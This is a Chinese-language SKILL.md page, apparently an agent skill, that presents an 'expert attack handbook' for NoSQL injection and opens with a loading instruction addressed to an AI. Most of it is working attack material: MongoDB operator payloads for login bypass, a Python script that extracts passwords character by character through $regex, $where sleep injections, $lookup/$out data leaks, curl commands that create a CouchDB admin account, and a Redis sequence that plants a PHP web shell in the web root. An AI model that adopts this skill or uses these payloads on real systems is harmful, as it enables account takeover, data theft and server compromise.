nosql-injection

nosql-injection

热门

NoSQL 注入手册。当目标系统存在 MongoDB 风格的运算符、JSON 查询对象、灵活的搜索过滤器或后端查询 DSL,且可能导致数据或逻辑被滥用时使用。

1545Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
nosql-injection
描述

NoSQL 注入手册。当目标系统存在 MongoDB 风格的运算符、JSON 查询对象、灵活的搜索过滤器或后端查询 DSL,且可能导致数据或逻辑被滥用时使用。

SKILL: NoSQL Injection — 专家级攻击手册

AI 加载指令:NoSQL 注入与 SQL 注入有着本质的不同。涵盖 MongoDB 运算符注入、身份验证绕过、盲注提取、聚合管道注入以及 Redis/CouchDB 的特定攻击手法。仅掌握 SQLi 模式的测试人员极易漏掉此类漏洞。


1. 核心概念 —— 运算符注入

SQL 注入是通过破坏字符串字面量边界来进行注入。
NoSQL 注入则是通过注入查询运算符来改变查询逻辑。

MongoDB 示例 —— 正常查询:

db.users.find({username: "alice", password: "secret"})

通过 JSON 运算符进行注入:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ 转换为:find({username:"admin", password:{$gt:""}}) → password > "" → 恒真(Always True)!


2. MONGODB —— 登录绕过

JSON Body 注入(Content-Type 为 application/json 的 API)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST 数组注入(URL 编码表单)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params 数组注入

与 PHP 类似 —— 使用中括号语法注入对象:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 为 URL 编码后的 $


3. 用于注入的 MONGODB 运算符

运算符 含义 常用场景
$ne 不等于 (not equal) {"password": {"$ne": "x"}} → 始终匹配
$gt 大于 (greater than) {"password": {"$gt": ""}} → 所有非空密码均匹配
$gte 大于等于 (greater or equal) 类似于 $gt
$lt 小于 (less than) {"password": {"$lt": "~"}} → 所有 ASCII 字符均匹配
$regex 正则匹配 (regex match) {"username": {"$regex": "adm.*"}}
$where JS 表达式 最危险 —— 可执行代码
$exists 字段是否存在 {"admin": {"$exists": true}}
$in 包含于数组 {"username": {"$in": ["admin","user"]}}

4. 通过 $REGEX 进行盲注数据提取

类似于 SQLi 中的二分法盲注,使用 $regex 逐字符提取字段值:

// admin 的密码是以 'a' 开头吗?
{"username": "admin", "password": {"$regex": "^a"}}

// admin 的密码是以 'b' 开头吗?
{"username": "admin", "password": {"$regex": "^b"}}

// 依次类推:逐位缩小范围
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

响应差异:登录成功与登录失败形成了布尔盲注断言(Boolean Oracle)。

可使用 NoSQLMap 或编写基于字符集二分搜索的自定义脚本实现自动化提取


5. MONGODB $WHERE 注入(JS 代码执行)

$where 会在 MongoDB 上下文中执行 JavaScript。
只能访问当前文档的字段 —— 无法获取系统级访问权限。但仍会导致逻辑滥用:

{"$where": "this.username == 'admin' && this.password.length > 0"}

// 基于延时的盲注提取:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// 通过 JS 进行正则匹配:
{"$where": "this.username.match(/^adm/) && true"}

局限性$where 并不直接提供 OS 命令执行能力 —— 它属于服务端 JS 注入(注意与命令注入区分)。


6. 聚合管道注入 (AGGREGATION PIPELINE INJECTION)

当用户可控的数据传入 $match$group 阶段时:

// 存在漏洞的代码:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

注入运算符以实现绕过:

// 传入对象形式的输入:
{"$ne": null}  → 匹配所有分类
{"$regex": ".*"}  → 匹配所有

7. 面向 NOSQL 的 HTTP 参数污染 (HPP)

某些框架(如 Express.js、PHP)会将重复的参数解析为数组:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

在 Node.js 中利用 qs 库的解析特性:

?filter[$ne]=invalid
→ 解析为:filter = {$ne: "invalid"}
→ 从而实现 NoSQL 运算符注入

8. COUCHDB 攻击

HTTP Admin API(若暴露外网)

# 列出所有数据库:
curl http://target.com:5984/_all_dbs

# 读取某数据库中的所有文档:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# 创建管理员账号(若允许匿名访问):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS 注入

Redis 服务未授权暴露(6379 端口)—— 通过 Redis 查询中使用的输入进行命令注入:

# 通过 SSRF 或直接注入:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

身份验证绕过(配置了简单弱密码 requirepass 的旧版 Redis):

AUTH password
AUTH 123456
AUTH redis
AUTH admin

10. 检测 Payload (DETECTION PAYLOADS)

将以下 Payload 发送到由 NoSQL 后端处理的任意输入点:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

JSON 变体测试(如果接口是基于 Form 表单的,请将 Content-Type 修改为 application/json):

{"username": "admin", "password": {"$ne": ""}}

11. NOSQL 与 SQL —— 核心差异

特性 SQLi NoSQLi
语言 SQL 语法 查询运算符对象
注入向量 字符串拼接 对象/运算符注入
常见特征 单双引号破坏响应结构 {$ne:x} 改变响应逻辑
提取方法 UNION / 报错注入 $regex 字符断言
认证绕过 ' OR 1=1-- {"password":{"$ne":""}}
OS 命令 xp_cmdshell (MSSQL) 罕见(需要 $where + 组合 CVE)
指纹特征 特定数据库报错信息 "cannot use $" 类报错

12. 测试 CheckList

□ 使用 JSON 请求体测试登录字段:{"$ne": "invalid"}
□ 测试 URL 编码表单:password[$ne]=invalid
□ 测试 $regex 以盲注枚举字段值
□ 尝试带有 sleep() 的 $where 进行基于时间的盲注
□ 检查 5984 端口 CouchDB(是否存在未授权管理员)
□ 检查 6379 端口 Redis(是否存在未授权)
□ 尝试在表单接口上改用 Content-Type: application/json
□ 监控运算符相关的错误信息(如 "BSON"、"operator"、"$not allowed")

13. NOSQL 盲注提取自动化

$regex 逐字符提取(Python 模板)

import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")

通过 URL 编码 GET 参数使用 $regex

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# 遍历字符集直到登录成功

重复键绕过 (Duplicate Key Bypass)

// 当应用检查一个键但实际处理另一个键时:
{"id": "10", "id": "100"}
// JSON 解析器通常使用最后一次出现的键
// 绕过原理:WAF 校验了 id=10,应用实际处理了 id=100

14. 聚合管道注入 (AGGREGATION PIPELINE INJECTION)

当用户输入到达 MongoDB 聚合管道阶段时:

// 若用户可控 $match 阶段:
db.collection.aggregate([
  { $match: { user: INPUT } }  // 来自用户的 INPUT
])

// 注入方式:传入对象而非字符串
// INPUT = {"$gt": ""} → 匹配所有文档

// 利用 $lookup 进行跨集合数据访问:
// 若 $lookup 阶段可注入:
{ $lookup: {
    from: "admin_users",       // 攻击者指定的集合
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// 利用 $out 将结果写入新集合:
{ $out: "public_collection" }  // 将查询结果写入可公开访问的集合

$where JavaScript 执行

// $where 允许执行任意 JavaScript(极度危险):
db.users.find({ $where: "this.username == 'admin'" })

// 若输入到达 $where:
// 注入:' || 1==1 || '
// 或:'; return true; var x='
// 基于时间:'; sleep(5000); var x='
// 数据外泄:'; if(this.password[0]=='a'){sleep(5000)}; var x='

参考来源:Soroush Dalili —— 《MongoDB NoSQL Injection with Aggregation Pipelines》(2024)

注意: $where 在服务端运行 JavaScript。除了逻辑滥用和时间断言外,过去缺乏严格 V8 沙箱保护的旧版 MongoDB 曾引发 RCE 隐患;建议将任何引入 $where 的汇聚点(Sink)均视为高风险。